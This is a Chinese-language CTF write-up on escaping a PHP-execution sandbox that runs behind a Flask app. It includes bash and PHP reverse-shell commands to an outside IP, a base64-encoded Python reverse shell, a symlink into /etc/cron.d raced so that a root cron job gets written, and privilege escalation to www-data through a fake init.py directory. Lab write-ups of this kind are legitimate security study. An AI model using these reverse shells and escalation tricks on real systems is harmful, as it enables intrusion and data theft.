这个题目搞了很久,前前后后涉及很多细节,复现的过程中出现了很多问题,也暴露出自己的基础不够扎实。网上有很多方式方法,这里一并梳理下。
限制输入了8位字母,我这里输入的11111111,就可以进入到php代码执行界面,这里任意PHP代码都能执行,没有任何过滤。所以可以尝试反弹shell,这里可以用php来弹shell,也可以用bash。
1 2 3 4
| bash弹: <?php system("bash -c 'bash -i >& /dev/tcp/220.203.23.131/8020 0>&1'");?> php弹:
|
这里发现成功弹到shell:

拿到的是nobody权限,啥都干不了,试了几种提权方式也提不了权。
但是这个题目给了代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| from flask import Flask, request, session, redirect, url_for, render_template import os import secrets
app = Flask(__name__) app.secret_key = secrets.token_hex(16) working_id = []
@app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'POST': id = request.form['id'] if not id.isalnum() or len(id) != 8: return '无效的ID' session['id'] = id if not os.path.exists(f'/sandbox/{id}'): os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read() return redirect(url_for('sandbox')) return render_template('submit_id.html')
@app.route('/sandbox', methods=['GET', 'POST']) def sandbox(): if request.method == 'GET': if 'id' not in session: return redirect(url_for('index')) else: return render_template('submit_code.html') if request.method == 'POST': if 'id' not in session: return 'no id' user_id = session['id'] if user_id in working_id: return 'task is still running' else: working_id.append(user_id) code = request.form.get('code') os.popen(f'cd /sandbox/{user_id} && rm *').read() os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read() os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read() php_file = open(f'/sandbox/{user_id}/phpcode', 'w') php_file.write(code) php_file.close()
result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read() os.popen(f'cd /sandbox/{user_id} && rm *').read() working_id.remove(user_id)
return result
if __name__ == '__main__': app.run(debug=False, host='0.0.0.0', port=80)
|
是python的代码
如果不关掉云服务器上的监听进程,反弹shell的进程就会一直占着,那么我在11111111这个沙箱的前端php执行页面就无法执行php命令,会一直显示task is still running,这是因为 result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read() 这里是反弹了shell的,开启了一个新的进程,这个进程不结束,就不会到程序的下一步,即 os.popen(f'cd /sandbox/{user_id} && rm *').read()和working_id.remove(user_id) user_id就不会被删除。
方式一:软连接写定时任务
通过ps -ef 可以发现存在/usr/sbin/cron

常见的定时任务是放在/etc/cron.d,可是nobody没有写定时任务的权限,但是
1 2 3 4
| os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read() php_file = open(f'/sandbox/{user_id}/phpcode', 'w') php_file.write(code) php_file.close()
|
这里是有一个写的动作的,并且内容来自于我们前端表单的数据,是可控的,另外通过前期的ps -ef可以发现是以root权限运行的python程序,所以如果我们建立一个软连接,比如把 /sandbox/xxxxxxxx 指向 /etc/cron.d,那么我们往/sandbox/xxxxxxxx写的数据是不是就到了/etc/cron.d里面。
比如我们弄一个定时任务:
1
| * * * * * root cat /flag >/tmp/flag.txt
|
但是直接这样是不行的,因为:
1 2 3 4 5 6
| php_file = open(f'/sandbox/{user_id}/phpcode', 'w') php_file.write(code) php_file.close() result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read() os.popen(f'cd /sandbox/{user_id} && rm *').read() working_id.remove(user_id)
|
存在rm * ,定时任务还没执行就被删除了,所以这里需要条件竞争,让他们不要删的那么快。这个时候就可以利用php代码了, sudo -u nobody php phpcode
所以定时任务改成:
1 2 3
| * * * * * root cat /flag >/tmp/flag.txt # #<?php for($i=1;$i<=1000;$i++){sleep(1000);}?>
|
对于定时任务文件来说,#是注释符,不会影响到定时任务,对于php文件来说,#不是注释符,所以后面的程序可以正常执行。
到这里,所有的问题基本上迎难而解了。这里还有一个小细节,我们要在软连接之后创建沙箱,因为软连接的链接文件/目录是之前不存在的目录。这点 一开始疏忽了,导致复现一直不成功。。。
1
| ln -s [目标文件/目录] [链接文件/目录]
|
所以我们一开始先创立软连接: ln -s /etc/cron.d /sandbox/22222222
然后再进入到沙箱创建页面,创建一个22222222的沙箱,接着在php代码执行页面去执行php代码:
1 2 3
| * * * * * root cat /flag >/tmp/flag.txt # #<?php for($i=1;$i<=1000;$i++){sleep(1000);}?>
|
可以发现phpcode成功写入到了/etc/cron.d里面,过一分钟之后,可以发现 /tmp下存在flag.txt文件。

所以用软连接写定时任务的方式不涉及到提权,因为nobody用户权限本身可以执行软连接命令。
方式二:提权到www-data
这个提权很有意思,结合了rm * 不能删目录的特性以及python语言会优先执行目录下面的__main__.py文件,基于以上两点,并且代码里面有一处os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()
这里有一个用www-data权限执行init.py的动作,如果这个时候init.py它是一个目录,并且底下存在一个__main__.py文件,__main__.py文件内容可控,那我们反弹一下shell,就可以拿到www-data权限了。
接下来我们可以尝试一下,前面的步骤一样,先弹一遍shell拿到nobody权限,接着
1 2 3 4 5 6 7 8 9 10
| cd /sandbox/11111111 rm init.py mkdir init.py chmod 777 init.py cd init.py echo 'aW1wb3J0IG9zCm9zLnN5c3RlbSgnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8yMjAuMjAzLjIzLjEzMS84MDMwIDA+JjEiJyk=' | base64 -d > __main__.py ###aW1wb3J0IG9zCm9zLnN5c3RlbSgnYmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8yMjAuMjAzLjIzLjEzMS84MDMwIDA+JjEiJyk= 为 import os os.system('bash -c "bash -i >& /dev/tcp/220.203.23.131/8030 0>&1"') 的base64编码
|
然后我们kill掉这次反弹shell的进程,重新监听8030端口,依然利用11111111这个沙箱,随便输入一段PHP代码,来触发python的执行。

成功拿到www-data权限